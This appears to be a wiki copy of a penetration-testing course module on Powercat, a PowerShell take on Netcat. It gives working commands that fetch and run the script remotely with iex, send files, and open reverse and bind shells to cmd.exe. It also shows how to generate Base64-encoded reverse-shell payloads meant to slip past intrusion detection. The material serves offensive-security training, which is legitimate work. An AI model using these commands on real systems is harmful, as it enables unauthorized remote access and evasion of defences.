Powercat

Powercat[1] is essentially the PowerShell version of Netcat written by besimorhino.[2] It is a script we can download to a Windows host to leverage the strengths of PowerShell and simplifies the creation of bind/reverse shells.

> Powercat can be installed in Kali with apt install powercat, which will place the script in /usr/share/windows-resources/powercat.

With the script on the target host, we start by using a PowerShell feature known as *Dot-sourcing*[3] to load the powercat.ps1 script. This will make all variables and functions declared in the script available in the current PowerShell scope. In this way, we can use the powercat function directly in PowerShell instead of executing the script each time.

```
PS C:\Users\Offsec> . .\powercat.ps1



//Loading a local PowerShell script using dot sourcing
```

If the target machine is connected to the Internet, we can do the same with a remote script by once again using the handy iex cmdlet as follows:

```
PS C:\Users\Offsec> iex (New-Object
System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/power
cat.ps1')


// Loading a remote PowerShell script using iex
```

It is worth noting that scripts loaded in this way will only be available in the current PowerShell instance and will need to be reloaded each time we restart PowerShell.

Now that our script is loaded, we can execute powercat as follows:

```
PS C:\Users\offsec> powercat
You must select either client mode (-c) or listen mode (-l).


//Executing the powercat function directly in PowerShell
```

We can quickly familiarize ourselves with Powercat by viewing the help menu:

```
PS C:\Users\offsec> powercat -h
powercat - Netcat, The Powershell Version
Github Repository: https://github.com/besimorhino/powercat

This script attempts to implement the features of netcat in a powershell
script. It also contains extra features such as built-in relays, execute
powershell, and a dnscat2 client.

Usage: powercat [-c or -l] [-p port] [options]

  -c  <ip>        Client Mode. Provide the IP of the system you wish to connect to.
                  If you are using -dns, specify the DNS Server to send queries to.

  -l              Listen Mode. Start a listener on the port specified by -p.

  -p  <port>      Port. The port to connect to, or the port to listen on.

  -e  <proc>      Execute. Specify the name of the process to start.
...
  -i  <input>     Input. Provide data to be sent down the pipe as soon as a connection
                  established. Used for moving files. You can provide the path to a fi
                  a byte array object, or a string. You can also pipe any of those int
                  powercat, like 'aaaaaa' | powercat -c 10.1.1.1 -p 80
...
  -g              Generate Payload.  Returns a script as a string which will execute t
                  powercat with the options you have specified. -i, -d, and -rep will
                  be incorporated.

  -ge             Generate Encoded Payload. Does the same as -g, but returns a string
                  can be executed in this way: powershell -E <encoded string>

  -h              Print this help message.
...
```

Powercat File Transfers

Although we could use any of the previously discussed tools to transfer Powercat to our target, let's take a look at how to use powercat to transfer itself (powercat.ps1) from Bob to Alice as a way to

demonstrate file transfers with powercat.

First, we run a Netcat listener on Alice's computer:

```
kali@kali:~$ sudo nc -lnvp 443 > receiving_powercat.ps1
listening on [any] 443 ...
connect to [10.11.0.4] from (UNKNOWN) [10.11.0.22] 63661
```

Next, we will invoke powercat on Bob's computer. The -c option specifies client mode and sets the listening IP address, -p specifies the port number to connect to, and -i indicates the local file that will be transferred remotely:

```
PS C:\Users\Offsec> powercat -c 10.11.0.4 -p 443 -i C:\Users\Offsec\powercat.ps1
```

Finally, Alice will kill the Netcat process and check that the file has been received:

```
^C
kali@kali:~$ ls receiving_powercat.ps1
receiving_powercat.ps1
```

Powercat Reverse Shells

The reverse shell process is similar to what we have already seen. We will start a Netcat listener on Alice's computer, and then Bob will use powercat to send a reverse shell.

We begin with the Netcat listener on Alice's machine:

```
kali@kali:~$ sudo nc -lvp 443
listening on [any] 443 ...
```

Next, Bob will use powercat to send a reverse shell. In this example, the -e option specifies the application to execute (cmd.exe) once a connection is made to a listening port:

```
PS C:\Users\offsec> powercat -c 10.11.0.4 -p 443 -e cmd.exe
```

Finally, Alice's Netcat listener will receive the shell:

```
connect to [10.11.0.4] from (UNKNOWN) [10.11.0.22] 63699
Microsoft Windows [Version 10.0.17134.590]
(c) 2018 Microsoft Corporation. All rights reserved.
```

```
C:\Users\offsec>
```

Powercat Bind Shells

By contrast, a powercat bind shell is started on Bob's side with a powercat listener. We will use the -l option to create a listener, -p to specify the listening port number, and -e to have an application (cmd.exe) executed once connected:

```
PS C:\Users\offsec> powercat -l -p 443 -e cmd.exe
```

Next, Alice will create a Netcat connection to the bind shell on Bob's computer:

```
kali@kali:~$ nc 10.11.0.22 443
Microsoft Windows [Version 10.0.17134.590]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\offsec>
```

Powercat Stand-Alone Payloads

Powercat can also generate stand-alone payloads.[1] In the context of powercat, a payload is a set of powershell instructions as well as the portion of the powercat script itself that only includes the features requested by the user. Let's experiment with payloads in this next example.

After starting a listener on Alice's machine, we create a stand-alone reverse shell payload by adding the -g option to the previous powercat command and redirecting the output to a file. This will produce a powershell script that Bob can execute on his machine:

```
PS C:\Users\offsec> powercat -c 10.11.0.4 -p 443 -e cmd.exe -g > reverseshell.ps1

PS C:\Users\offsec> ./reverseshell.ps1
```

It's worth noting that stand-alone payloads like this one might be easily detected by IDS. Specifically, the script that is generated is rather large with roughly 300 lines of code. Moreover, it also contains a number of hardcoded strings that can easily be used in signatures for malicious activity. While the identification of any specific signature is outside of scope of this module, it is

sufficient to say that plaintext malicious code such as this will likely have a poor success rate and will likely be caught by defensive software solutions.

We can attempt to overcome this problem by making use of PowerShell's ability to execute Base64 encoded commands. To generate a stand-alone encoded payload, we use the -ge option and once again redirect the output to a file:

```
PS C:\Users\offsec> powercat -c 10.11.0.4 -p 443 -e cmd.exe -ge > encodedreverseshell.ps1
```

The file will contain an encoded string that can be executed using the PowerShell -E *(EncodedCommand)* option. However, since the -E option was designed as a way to submit complex commands on the command line, the resulting encodedreverseshell.ps1 script can not be executed in the same way as our unencoded payload. Instead, Bob needs to pass the whole encoded string to powershell.exe -E:

```
 PS C:\Users\offsec> powershell.exe -E
ZgB1AG4AYwB0AGkAbwBuACAAUwB0AHIAZQBhAG0AMQBfAFMAZQB0AHUAcAAKAHsACgAKACAAIAAgACAAcABh
AHIAYQBtACgAJABGAHUAbgBjAFMAZQB0AHUAcABWAGEAcgBzACkACgAgACAAIAAgACQAYwAsACQAbAAsACQAc
AAsACQAdAAgAD0AIAAkAEYAdQBuAGMAUwBlAHQAdQBwAFYAYQByAHMACgAgACAAIAAgAGkAZgAoACQAZwBsA
G8AYgBhAGwAOgBWAGUAcgBiAG8AcwBlACkAewAkAFYAZQByAGIAbwBzAGUAIAA9ACAAJABUAHIAdQBlAH0ACgA
gACAAIAAgACQARgB1AG4AYwBWAGEAcgBzACAAPQAgAEAAewB9AAoAIAAgACAAIABpAGYAKAAhACQAbAApAAoA
IAAgACAAIAB7AAoAIAAgACAAIAAgACAAJABGAHUAbgBjAFYAYQByAHMAWwAiAGwAIgBdACAAPQAgACQARgBhAG
wAcwBlAAoAIAAgACAAIAAgACAAJABTAG8AYwBrAGUAdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5
AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAGMAcABDAGwAaQBlAG4AdAAKACAAIAAgACA
...
```

After running the stand-alone payloads, Alice receives the reverse shell on her waiting listener:

```
kali@kali:~$ sudo nc -lnvp 443
listening on [any] 443 ...
connect to [10.11.0.4] from (UNKNOWN) [10.11.0.22] 43725

PS C:\Users\offsec>
```

Revision #1
Created 4 September 2022 18:58:34 by Togoboi
Updated 4 September 2022 19:27:53 by Togoboi